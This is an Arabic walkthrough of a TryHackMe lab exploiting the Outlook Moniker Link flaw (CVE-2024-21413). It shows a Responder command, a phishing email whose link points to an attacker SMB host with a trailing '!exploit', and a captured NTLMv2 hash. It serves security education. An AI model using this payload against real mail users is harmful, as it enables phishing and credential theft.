
شرح تمرين TryHackMe لثغرة Moniker Link (CVE-2024-21413): تجاوز العرض المحمي في Outlook مما يؤدي إلى التقاط هاش NTLMv2 عبر رابط moniker مُصمَّم خصيصًا.
دليل كامل لغرفة TryHackMe "Moniker Link": استغلال CVE-2024-21413، وهي ثغرة في Microsoft Outlook عام 2024، لسرقة تجزئة NTLMv2 للضحية في اللحظة التي ينقر فيها على رابط في بريد تصيد — بدون ماكرو، بدون مرفق، وبدون تحذير أمني واضح.
CVE-2024-21413 ("Moniker Link") هي ثغرة في طريقة تحقق Outlook من روابط file:// التي تستخدم صيغة Windows OLE
"moniker" (علامة ! زائدة بعد المسار، مثل file://host/share!something). من المفترض أن يفتح Outlook روابط
الملفات الخارجية عبر Protected View، الذي يعزل الملف ويحذر المستخدم قبل أي تسريب لبيانات الاعتماد. العلامة !
الإضافية تكسر محلل URLs الخاص بـ Outlook بما يكفي فقط لتجاوز Protected View بالكامل وتسليم الرابط مباشرة إلى
Windows، الذي — لأنه يبدو كمسار UNC — يحاول بصمت مصادقة SMB ضد خادم المهاجم. محاولة المصادقة تلك تسرّب
تجزئة NTLMv2 للضحية قبل أن يفعل الضحية أي شيء سوى النقر على رابط يبدو عاديًا.
| المهمة | الهدف |
|---|---|
| 1. الاستطلاع | فهم CVE وكيف تتجاوز ثغرة تحليل روابط moniker العرض المحمي Protected View |
| 2. إعداد المستمع | تشغيل Responder لالتقاط مصادقة SMB الصادرة |
| 3. التسليح | إنشاء بريد تصيد يحتوي على رابط moniker خبيث |
| 4. التسليم | إرسال البريد إلى صندوق بريد الضحية |
| 5. الالتقاط | جعل الضحية تنقر على الرابط والتقاط تجزئة NTLMv2 الخاصة بها |
responder -I ens5
يتم تشغيل Responder على واجهة جهاز المهاجم قبل إرسال أي شيء، مع تفعيل تسميم LLMNR وNBT-NS وDNS. هذا هو ما يلتقط تسريب بيانات الاعتماد فعليًا: فبمجرد أن تخدع الثغرة Outlook لدفعه إلى محاولة مصادقة SMB ضد عنوان IP الخاص بالمهاجم، يكون Responder هو ما يستمع على الطرف الآخر لالتقاطها.

الهدف هو صندوق بريد Outlook قياسي، [email protected]، في عرض صندوق الوارد الطبيعي قبل وصول أي بريد تصيد — وهو الخط الأساسي الذي تنطلق منه بقية الغرفة.

sender_email = '[email protected]'
receiver_email = '[email protected]'
...
<p><a href="file://ATTACKER_MACHINE/test!exploit">Click me</a></p>
الاستغلال (PoC العام لـ CVE-2024-21413 من CMNatic) هو سكربت Python صغير ينشئ بريدًا إلكترونيًا HTML ويرسله عبر SMTP. الحمولة كلها في سطر واحد: رابط <a href="file://..."> موجه إلى جهاز المهاجم، مع !exploit زائدة في نهاية المسار. علامة ! الزائدة هذه هي الخلل بأكمله — وهي ما يجعل محلل روابط Outlook يخطئ في تصنيف URL ويتجاوز فحص Protected View الذي كان سيطبقه عادةً على رابط ملف خارجي.

python3 exploit.py
Enter your attacker email password: attacker
Email delivered
تشغيل السكربت يُجري مصادقة على خادم البريد ويرسل البريد المُصمَّم إلى الضحية. يؤكد Email delivered أن البريد غادر صندوق بريد المهاجم بنجاح.

يصل البريد إلى صندوق وارد [email protected] من CMNatic، بموضوع CVE-2024-21413، ولا يحتوي سوى على رابط تشعبي واحد نصه "انقرني" — بدون مرفق، وبدون تحذير ماكرو، ولا شيء قد يجعل مرشح التصيد أو مستخدمًا حذرًا يشتبه في الأمر عادةً.

النقر على "انقرني" يستدعي مربع خطأ Windows Explorer في Outlook: "لا يمكننا العثور على '\10.113.72.84\test!exploit'. يرجى التأكد من استخدام الموقع أو عنوان الويب الصحيح." هذا الخطأ هو في الواقع دليل على أن الاستغلال نجح بالفعل — فعندما يظهر هذا الحوار، يكون Windows قد حاول بالفعل تحليل مسار UNC عبر SMB وقام بالفعل بالمصادقة على 10.113.72.84 (جهاز المهاجم) أثناء ذلك. الفشل الظاهر هو مجرد فشل Explorer في العثور على مشاركة لم يكن من المفترض أن توجد أصلًا؛ تسريب بيانات الاعتماد حدث بالفعل بصمت قبل ظهور صندوق الخطأ.

[SMB] NTLMv2-SSP Username : THM-MONIKERLINK\tryhackme
[SMB] NTLMv2-SSP Hash : tryhackme::THM-MONIKERLINK:3f2abcd40483ccba:...
بالعودة إلى جهاز المهاجم، يكون Responder قد التقط بالفعل مصافحة NTLMv2-SSP الكاملة لـ THM-MONIKERLINK\tryhackme، مصدرها 10.113.150.143 (الضحية). لا موجه بيانات اعتماد، ولا تحذير أمني، ولا إجراء من المستخدم سوى نقرة واحدة على رابط بدا عاديًا — كانت التجزئة جاهزة للكسر أو الترحيل في اللحظة التي أساء فيها Outlook التعامل مع رابط moniker.

!) كانت الثغرة بأكملها. CVE-2024-21413 تذكير جيد بأن محللات URL/المسارات مصدر شائع لتجاوز الحدود الأمنية — لا يحتاج الإدخال غير الصالح إلى أن يكون معقدًا ليتسلل عبر فحص، بل يكفي أن يصل إلى مسار برمجي لا يغطيه الفحص.file:// تقنية قديمة؛ ما جعل هذه الـ CVE بارزة هو أن Outlook لم يكن من المفترض أن يسمح للرابط بالعمل دون أي تحذير.